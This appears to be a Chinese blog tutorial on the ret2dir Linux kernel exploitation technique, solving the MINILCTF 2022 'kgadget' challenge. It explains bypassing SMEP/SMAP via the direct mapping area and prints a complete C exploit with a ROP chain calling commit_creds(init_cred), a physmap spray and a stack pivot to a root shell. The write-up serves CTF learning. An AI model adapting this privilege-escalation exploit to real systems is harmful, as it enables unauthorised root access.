kernel入门(2)之ret2dir

Static Lv2

基本原理

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf

先来看看ret2usr的利用手法,即从内核空间返回到在用户空间构造好的提权代码上,如下

1
2
3
4
5
6
----------------------------------------------
| kernel space |>------------
---------------------------------------------- |
| user space | |ret
| commit(prepare_kernel_cred(NULL)) |<------------|
----------------------------------------------

但是由于smep与smap保护的加入,在内核态对用户态数据的访问和执行被禁止,导致该攻击手法已不可用。而ret2dir可以说就是用来绕过这类使用户空间与内核空间隔离的保护的。

首先来看一下x86下linux内核空间的布局mm.rst - Documentation/x86/x86_64/mm.rst - Linux source code (v5.2) - Bootlin

其中有如下的一片区域,这片区域direct mapping area被称为内核的线性映射区,它直接映射了物理内存

1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

有关linux内核4级页表和5级页表的具体知识不在这里详述(因为我也不会。。。

我们都知道每个进程都有自己的虚拟内存空间,而它们一定对应着一片物理内存空间。那么现在就会出现内核空间和用户空间同时映射着同一片物理内存,那么我们就可以在内核态下通过访问direct mapping area来间接访问用户空间的数据。

如果我们在用户空间布置shellcode,那么我们就可以在内核空间访问到,如下图所示:

但是目前内核空间的这片区域不具有执行权限,因此只能用于构造ROP链,如下图:

一般的利用ret2dir进行攻击的手法是:

  • 利用 mmap 在用户空间大量喷射内存
  • 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区
  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存

此时我们就获得了一个可以在内核空间访问用户空间数据的能力,那么就绕过了内核空间与用户空间的隔离保护

需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray

MINILCTF 2022 - kgadget

a3👴在校赛出的一道题,很典型的用来入门ret2dir的题

题目分析

首先来看run.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot

开启了kpti smep smap,但是nokaslr

程序没有直接给vmlinux,那么我们可以使用extract-vmlinux来提取出它,使用方式extract-vmlinux ./bzImage。关于extract-vmlinux的下载自行搜索即可。

然后来看漏洞模块kgadget.ko,程序只有一个函数有用,即kgadget_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
{
void (__fastcall **v3)(void *, _QWORD); // rdx
void (__fastcall *v4)(void *, _QWORD); // rbx
void (__fastcall *v5)(void *, _QWORD); // rsi

_fentry__(__file, *(_QWORD *)&cmd);
if ( cmd == 114514 )
{
v4 = *v3;
v5 = *v3;
printk(&unk_370);
printk(&unk_3A0);
qmemcpy(
(void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
"arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
48);
*(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;
printk(&unk_3F8);
v4(&unk_3F8, v5);
return 0LL;
}
else
{
printk(&unk_420);
return -1LL;
}
}

当传入的cmd参数为114514时,程序会调用call [param],这个函数中的qmemcpy是被优化后的操作,实际汇编为

1
2
3
4
5
6
7
8
9
.text.unlikely:0000000000000160                               regs = rdx                              ; pt_regs *
.text.unlikely:0000000000000160 48 BA 61 72 74 74 6E 62 61 33 mov regs, '3abnttra'
.text.unlikely:000000000000016A 48 89 90 58 FF FF FF mov [rax-0A8h], rdx
.text.unlikely:0000000000000171 48 89 90 60 FF FF FF mov [rax-0A0h], rdx
.text.unlikely:0000000000000178 48 89 90 68 FF FF FF mov [rax-98h], rdx
.text.unlikely:000000000000017F 48 89 90 70 FF FF FF mov [rax-90h], rdx
.text.unlikely:0000000000000186 48 89 90 78 FF FF FF mov [rax-88h], rdx
.text.unlikely:000000000000018D 48 89 50 80 mov [rax-80h], rdx
.text.unlikely:0000000000000191 48 89 50 90 mov [rax-70h], rdx

我们在调试之后可以发现这些操作实际上是将保存在内核栈里面的寄存器损坏了,但还保留了两个,即r9 r8的值,那它们有什么用呢,继续分析

因为是call [param],因此我们可以直接设置paramdirect mapping area中的一个位置,但前提是我们要喷射很多内存,并在这些内存中填充上有用的gadget。在执行完一个gadget之后,必然会继续ret,这时我们就需要控制栈到dir位置了,r8 r9中未损坏的值就可以用来进行栈迁移。例如在call [param]后到param位置时栈的状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00:0000│ rsp 0xffffc90000257ed8 —▸ 0xffffffffc000219f ◂— xor eax, eax
01:00080xffffc90000257ee0 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
02:00100xffffc90000257ee8 ◂— 0xf2debfc5f34a5a00
03:00180xffffc90000257ef0 —▸ 0xffff888004226600 ◂— 0x0
04:0020│ rbp 0xffffc90000257ef8 —▸ 0xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0
05:00280xffffc90000257f00 —▸ 0xffffffff81319232 ◂— cmp eax, 0xfffffdfd
06:00300xffffc90000257f08 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
07:00380xffffc90000257f10 ◂— 0x0
... ↓ 3 skipped
0b:00580xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0
0c:00600xffffc90000257f38 —▸ 0xffffffff81bb9607 ◂— mov qword ptr [rbx + 0x50], rax
0d:00680xffffc90000257f40 ◂— 0x0
0e:00700xffffc90000257f48 ◂— 0x0
0f:00780xffffc90000257f50 —▸ 0xffffffff81c0008c ◂— mov rcx, qword ptr [rsp + 0x58]
10:00800xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
... ↓ 5 skipped
16:00b0│ 0xffffc90000257f88 ◂— 0x202
17:00b8│ 0xffffc90000257f90 ◂— 0x3361626e74747261 ('arttnba3')
18:00c0│ 0xffffc90000257f98 ◂— 0x99999999 ******r9******
19:00c8│ 0xffffc90000257fa0 ◂— 0x88888888 ******r8******
1a:00d0│ 0xffffc90000257fa8 ◂— 0xffffffffffffffda
1b:00d8│ 0xffffc90000257fb0 —▸ 0x402c0a ◂— mov eax, 0
1c:00e00xffffc90000257fb8 —▸ 0xffff888007000000 ◂— 0x0
1d:00e80xffffc90000257fc0 ◂— 0x1bf52

我们可以找到如下gadget,称此gadget为ADD_RSP_0xa0_POP_FOUR_REG_RET

1
2
3
4
5
6
ffffffff816fca4a:       48 81 c4 a0 00 00 00    add    $0xa0,%rsp
ffffffff816fca51: 5b pop %rbx
ffffffff816fca52: 41 5c pop %r12
ffffffff816fca54: 41 5d pop %r13
ffffffff816fca56: 5d pop %rbp
ffffffff816fca57: c3 ret

那么我们只需要设置r8=param r9=pop_rsp,(pop_rsp为0xffffffff811483d0 : pop rsp ; ret),这样就可以把栈迁移到direct mapping area来进行ROP了

ROP链构造

我们应该让落在ADD_RSP_0xa0_POP_FOUR_REG_RET的概率尽可能大一点,因此我们可以尽可能多的写入ADD_RSP_0xa0_POP_FOUR_REG_RET的地址,同时能使其滑入提权的payload,例如这是一片页内存,按如下方式布置

1
2
3
4
5
6
7
  0    -----------------------------------------------------------------
| ADD_RSP_0xa0_POP_FOUR_REG_RET |
0xe00 -----------------------------------------------------------------
| RET |
0xfa0 -----------------------------------------------------------------
| get_root_payload |
0x1000 -----------------------------------------------------------------

这样当栈被迁移到ADD_RSP_0xa0_POP_FOUR_REG_RET时,就必定可以滑入RET,从而到达get_root_payload

构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void construct_chain()
{
int i = 0;
for(; i < (page_size-0x200)/8; i++)
chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;
for(; i < (page_size-0x60)/8; i++)
chain[i] = RET;
chain[i++] = POP_RDI_RET;
chain[i++] = init_cred;
chain[i++] = commit_creds;
chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
}

mmap喷射内存

喷射内存就是尽可能多的消耗内存空间,从而增大成功概率

1
2
3
4
5
6
7
8
9
10
11
void spray_physmap()
{
size_t map[15000];
printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n");
for(int i = 0; i < 15000; i++)
{
map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy((void*)map[i], chain, page_size);
}
printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<kernel_pwn.h>
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/mman.h>
#include<string.h>

#define POP_RDI_RET 0xffffffff8108c6f0
#define init_cred 0xffffffff82a6b700
#define ADD_RSP_0x90_POP_FIVE_REG_RET 0xffffffff81004049
#define RET 0xffffffff8100405a
#define POP_RSP_RET 0xffffffff811483d0
#define ADD_RSP_0xa0_POP_FOUR_REG_RET 0xffffffff816fca4a

int dev_fd;
size_t commit_creds = 0xffffffff810c92e0, swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;
size_t chain[16000];
size_t target, pop_rsp=POP_RSP_RET;
size_t page_size;
size_t *physmap_spray_arr[16000];

void construct_chain()
{
int i = 0;
for(; i < (page_size-0x200)/8; i++)
chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;
for(; i < (page_size-0x60)/8; i++)
chain[i] = RET;
chain[i++] = POP_RDI_RET;
chain[i++] = init_cred;
chain[i++] = commit_creds;
chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
}

void spray_physmap()
{
size_t map[15000];
printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n");
for(int i = 0; i < 15000; i++)
{
map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy((void*)map[i], chain, page_size);
}
printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n");
}

int main()
{
save_status();
dev_fd = open("/dev/kgadget", O_RDWR);
if(dev_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the /dev/kgadget file!\033[0m\n");
exit(-1);
}
page_size = sysconf(_SC_PAGESIZE);
construct_chain();
printf("\033[32m\033[1m[+] Construct rop chain success!\033[0m\n");
spray_physmap();

target = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov rbp, 0xbcbcbcbc;"
"mov rbx, 0xbdbdbdbd;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, pop_rsp;"
"mov r8, target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);

return 0;
}
  • Title: kernel入门(2)之ret2dir
  • Author: Static
  • Created at : 2024-03-10 16:39:31
  • Updated at : 2024-03-10 16:44:15
  • Link: https://staticccccccc.github.io/2024/03/10/kernel pwn/kernel入门(2)之ret2dir/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments